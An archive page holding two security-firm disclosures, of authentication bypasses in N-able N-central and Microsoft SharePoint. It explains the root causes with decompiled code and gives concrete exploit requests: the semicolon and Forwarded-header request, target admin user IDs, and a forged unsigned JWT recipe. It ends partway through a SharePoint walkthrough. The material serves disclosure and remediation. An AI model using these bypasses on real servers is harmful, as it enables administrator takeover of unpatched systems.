Tag Archives: Vulnerability Disclosure

CVE-2026-86206, CVE-2026-86207: N-able N-central Authentication Bypass (FIXED)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed

Overview

While conducting research into a recent N-able N-central authentication bypass vulnerability (CVE-2026-18577), Rapid7 Labs discovered two new vulnerabilities affecting the latest version of N-central. When chained together, these two vulnerabilities allow a remote unauthenticated attacker to bypass authentication and create a new attacker-controlled System administrator account on an affected server.

CVE ID

Description

CWE

CVSSv4

CVE-2026-86206

Semicolon/Forwarded access-control bypass

CWE-791

6.9 (Medium)

CVE-2026-86207

UserTwoFactorLogin authentication bypass

CWE-305

7.7 (High)

Both CVE-2026-86206 and CVE-2026-86207 have been patched by the vendor via N-central 2026.3 Hotfix 3.

Product description

N-able N-central is an enterprise-grade Remote Monitoring and Management (RMM) platform designed for Managed Service Providers (MSPs) and IT departments to monitor, manage, and secure complex, large-scale networks from a centralized dashboard.

Credit

These vulnerabilities were discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Technical analysis

CVE-2026-86206

N-central exposes its management interface (TCP 8443 by default) through Envoy, an edge proxy. Envoy passes accepted requests to Jetty, the Java web server that hosts N-central’s application. The application gives requests from the loopback address (i.e. 127.0.0.1) more access than requests from a remote system. This design depends on Envoy, Jetty, and the N-central access filter all agreeing on which application path the client requested and whether the client is really local. The following request can make them disagree about both of these things:

POST /dms;/services/ServerUI HTTP/1.1
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

The semicolon in the URI and backslash in the Forwarded value introduce a discrepancy when processing the request that leads to an access control bypass. Looking at Figure 1 below, we can see an overview of how these two values are processed during an incoming malicious request.

nable_cvd_blog.png

Figure 1: Processing a malicious request.

The semicolon gets the request past Envoy

The Envoy proxy rules come from the n-central-proxy-4.5.6-5 package. In /etc/opt/envoy/lds_intermediate.yaml, shown below (and edited for brevity), the management listener returns HTTP 403 for paths beginning with /dms/services or /internal/dms. A final catch-all rule sends other paths to the DMS application.

  # /etc/opt/envoy/lds_intermediate.yaml:953
  - match:
      prefix: /internal/dms
    # response-header boilerplate omitted
    direct_response:
      status: 403
      body:
        inline_string: Forbidden. No API access on the UI port.
  # ...
  - match:
      prefix: /dms/services
    # response-header boilerplate omitted
    direct_response:
      status: 403
      body:
        inline_string: Forbidden. No API access on the UI port.
 # ...
 # /etc/opt/envoy/lds_intermediate.yaml:1301
 # A final catch-all rule...
  - match:
      prefix: /
    route:
      cluster: dms
      timeout:
        seconds: 300

Envoy compares those prefixes with the path it received. The path /dms;/services/ServerUI does not begin with /dms/services, because the next character after /dms is a semicolon. It therefore reaches the catch-all route, passing the request from Envoy to Jetty.

Jetty interprets the path differently. The shipped jetty-http-9.4.56.v20240826.jar contains org.eclipse.jetty.http.HttpURI, and org.eclipse.jetty.util.URIUtil. Together, these classes treat text beginning with a semicolon as a path parameter and remove it when producing the decoded path used for servlet dispatch. As a result, Jetty turns /dms;/services/ServerUI into /dms/services/ServerUI. That decoded path then matches the Axis SOAP servlet mapping in /opt/nable/webapps/ROOT/WEB-INF/web.xml

<!-- /opt/nable/webapps/ROOT/WEB-INF/web.xml -->
<!-- ...snip... -->

   <servlet>
        <servlet-name>DMSServlet</servlet-name>
        <servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DMSServlet</servlet-name>
        <url-pattern>/dms/services/*</url-pattern>
        <url-pattern>/internal/dms/services/*</url-pattern>
    </servlet-mapping>

    <servlet>
        <display-name>CXF Servlet</display-name>
        <servlet-name>CXFServlet</servlet-name>
        <servlet-class>org.apache.cxf.transport.servlet.CXFServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>CXFServlet</servlet-name>
        <url-pattern>/dms2/services2/*</url-pattern>
        <url-pattern>/internal/dms/services2/*</url-pattern>
    </servlet-mapping>

Similarly, the same technique can be used to target the SOAP service via /internal;/dms/services2/ServerUI2. Jetty decodes it to /internal/dms/services2/ServerUI2, which matches the CXF SOAP servlet mapping. A single semicolon is sufficient to create the routing disagreement.

Reaching these servlet mappings puts the request at the protected SOAP interfaces that an exploit can leverage to establish an application session and later manage privileged objects, but the semicolon trick alone does not authorize the request. Without the crafted Forwarded header, Jetty retains the client’s real remote address and N-central’s ServletPathFilter denies access. Conversely, the header trick alone cannot help a request to the ordinary /dms/services/ServerUI or /internal/dms/services2/ServerUI2 path: Envoy returns HTTP 403 without forwarding that request to Jetty. 

As such, an exploit needs both discrepancies; the semicolon to pass Envoy’s path check and the header to pass N-central’s local-request check.

The header makes the remote client look local

The Forwarded header tells an application about the original client behind a proxy. In a malicious request, the for value is quoted and contains a quoted-pair (\1):

Forwarded: for="127.0.0.\1"

Under the HTTP quoted-string grammar, the backslash escapes the following character. Jetty’s ForwardedRequestCustomizer, from jetty-server-9.4.56.v20240826.jar, applies that rule. It removes the backslash, reads the value as 127.0.0.1, and exposes that value to N-central as the request’s remote address.

N-central then parses the original header a second time. Its parser is in com.nable.util.LocalHostUtils, from /opt/nable/webapps/ROOT/WEB-INF/lib/dmsservice-11.0.1-SNAPSHOT.jar. This parser removes the surrounding quotes but does not remove the backslash. It therefore checks 127.0.0.\1.

That string is not a valid IP address. LocalHostUtils.xffCheck() rejects an invalid value found in X-Forwarded-For, but its Forwarded branch rejects only values that it successfully recognizes as loopback. The below (abridged) decompilation shows the relevant branch:

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.util.LocalHostUtils.xffCheck()

List<String> forwardedAddresses =
    LocalHostUtils.getForAddressesFromForwardedHeaders(httpRequest);

for (String addr : forwardedAddresses) {
    if (!LocalHostUtils.isLoopbackAddress(addr.trim())) continue; // <--- [1]
    // log the rejected loopback address
    return false; // <--- [2]
}
return true; // <--- [3]

When given the header value 127.0.0.\1, the isLoopbackAddress() call (at [1]) returns false (at [2]) because the value is invalid. The loop therefore continues and xffCheck() returns true (at [3]). In other words, an invalid Forwarded header value causes xffCheck to fail open. The final decision occurs in com.nable.server.ServletPathFilter, shown below.

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.server.ServletPathFilter.isAllowedRequest()

boolean isAllowedRequest(HttpServletRequest httpRequest) {
    if (!LocalHostUtils.xffCheck(httpRequest)) { // <--- [4]
        return false;
    }
    if (LocalHostUtils.isLocalhost(httpRequest)) { // <--- [5]
        return true; // <--- [6]
    }
    String path = this.removeTrailingSlashes(httpRequest.getRequestURI());
    return this.pathFilterService != null
        && this.pathFilterService.isPathAllowed(path);
}

The first check asks whether a forwarding header is trying to claim a loopback address (at [4]). N-central’s parser sees the invalid value 127.0.0.\1, does not recognize it as loopback, and allows it. The second check asks whether Jetty’s remote address is local (at [5]). Jetty has already converted the same header value to 127.0.0.1, so this check succeeds. The filter returns true (at [6]) before consulting the normal remote-path allowlist.

CVE-2026-86207

By leveraging CVE-2026-86206 to reach the protected URI /dms/services/ServerUI, a SessionID returned by the Session.Hello SOAP operation (See the prior work by Horizon3 on leveraging the legacy SOAP API) can be generated. However, this SessionID is only a pre-login session. It proves that the request reached the local-only SOAP API via the access control bypass, but it does not yet identify an authenticated user. A separate authentication bypass vulnerability, in how legacy two-factor authentication operates, allows a pre-login session to become an authenticated session.

The method com.nable.server.ui.UserTwoFactorLogin, from dmsservice-11.0.1-SNAPSHOT.jar (shown below), binds a requested user ID (e.g. the builtin N-able Administrator account’s well known ID 1) to the session (at [1]) before it attempts legacy two-factor authentication (at [2]) . A normal authentication rejection removes that binding (at [4]), but if an exception occurs, this binding is left in place (at [3]).

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.server.ui.UserTwoFactorLogin

   public final String twoFactorLogin(int sessionID, int userID, String password) throws RemoteException {
        String response = null;
        try {
            this.updateSession(sessionID, userID); // <--- [1]
            T_User user = this.getUser(userID);
            response = this.authenticate(user, password); // <--- [2]
            Trace.info((Object)this, (String)("2FA authentication response for user '" + user.getUsername() + "': " + response));
            if (response != null && "ACCESS_OK".equals(response)) {
                String audit = "TWO FACTOR LOGIN SUCCESSFUL: UserID [" + userID + "] successfully logged in.";
                this.addSessionAuditEntry(sessionID, audit);
            } else {
                String audit = "TWO FACTOR LOGIN FAILED: UserID [" + userID + "] attempted to login with invalid PIN.";
                this.addSessionAuditEntry(sessionID, audit);
                this.makeSessionInvalid(sessionID); // <--- [4]
            }
        }
        catch (RemoteException re) {
            throw re; // <--- [3]
        }
        catch (Exception ex) {
            throw DMSError.getFault((String)CommonError.GENERIC_ERROR.getCodeAsString(), (String)ex.toString(), (Throwable)ex); // <--- [3]
        }
        return response;
    }

N-central supports two distinct second-factor systems: legacy, profile-based authentication using an external AuthAnvil or RSA SecurID server, and native time-based one-time password (TOTP) “Two-Step Verification” using an authenticator application. Despite overlapping 2FA/MFA terminology in N-able’s documentation, com.nable.server.ui.UserTwoFactorLogin implements the former profile-based mechanism; it does not enforce the user’s native TOTP setting.

In a default installation, legacy two-factor processing raises an exception for several builtin identities used by N-central, as each of these identities lack a single legacy AuthAnvil or RSA 2FA profile association required by UserTwoFactorLogin. Specifically the following built-in identities can be leveraged via their known ID numbers.

  • User ID 1 (N-able Administrator)

  • User ID 50 (Product Administrator)

  • User ID 51 (N-able Support)

By creating a new pre-login session for any one of the above IDs, a SOAP call to User.TwoFactorLogin with a dummy password will achieve the authentication bypass, converting the pre-login session to a privileged SOAP session for that user. By using additional calls to the ServerUI2 SOAP endpoint, a new attacker-controlled System user account can be created.

Remediation

The vendor-supplied release of N-central 2026.3 Hotfix 3 (version 2026.3.1.13) remediates both CVE-2026-86206 and CVE-2026-86207. All versions of N-central prior to 2026.3.1.13 are vulnerable. Customers running affected on-premise N-central environments are urged to apply the latest update on an urgent basis, outside of normal patching cycles.

Customers using hosted N-central environments do not need to take action as the vendor has applied the needed updates.

For the latest remediation guidance, please see the vendor release notes and the vendor disclosure blog.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to both CVE-2026-86206 and CVE-2026-86207, with authenticated vulnerability checks expected to be available in the September 8 content release. 

Disclosure timeline

  • August 27, 2026: Rapid7 makes initial outreach to N-able who respond the same day.

  • August 28, 2026: Rapid7 provides a detailed technical analysis and exploit script to N-able, along with a proposed timeline for a coordinated disclosure.

  • September 5, 2026: N-able release N-central 2026.3 HF3 which fixes two of the vulnerabilities (CVE-2026-86206, CVE-2026-86207) reported by Rapid7.

  • September 7, 2026: Rapid7 contacts N-able requesting clarity on several issues. N-able responds the same day with requested information.

  • September 8, 2026: This disclosure for CVE-2026-86206 and CVE-2026-86207.

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040

Overview

On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

CVE-2026-55040.png

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

Analysis

The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.

A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition’s JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.

The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.

SharePoint’s S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner “actor token” embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.

The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.

Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]

Weakness 1: RequireSignedTokens disabled

The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:

// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;

This single line disables the JWT library’s cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.

The full context of the method:

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- [1]
    val.ValidateIssuer = false; // <--- [2]
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.

Weakness 2: Actor token x5t resolution without signature verification

After ReadToken() parses the JWT, SharePoint’s custom validation code resolves the actor token’s signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}

At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token’s JWT header:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint’s own local Security Token Service (STS) signing certificate, for a thumbprint match:

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
    {
        return true;
    }
    return false;
}

At [4], the resolver checks the LocalLoginProvider access provider, SharePoint’s own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token’s x5t header to the thumbprint of SharePoint’s STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token’s SigningToken property.

At no point in this flow is the actor token’s signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.

Weakness 3: Issuer validation accepts unregistered certificates

After setting the actor token’s SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]

    if (null == providerBySigningCertificate) // <--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint’s local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.

At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.

The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint’s own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.

Weakness 4: GetTokenSignature non-cryptographic check

The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token’s signature is AAAA, a non-empty string, so at [3] it returns “AAAA” without any cryptographic verification that this value is a valid RSA signature.

Summary

The four weaknesses combine as follows:

  1. Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.

  2. The actor token’s x5t header contains SharePoint’s own STS certificate thumbprint, allowing us to resolve a signing key with no verification.

  3. The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.

  4. The actor token’s signature is a non-empty value, e.g. AAAA, which is never verified.

After validation, the outer token’s nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.

Our PoC script shows examples of all three mechanisms working.

Walkthrough

We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.

In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:

GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

Which returns the STS signing certificate as part of the response:

HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU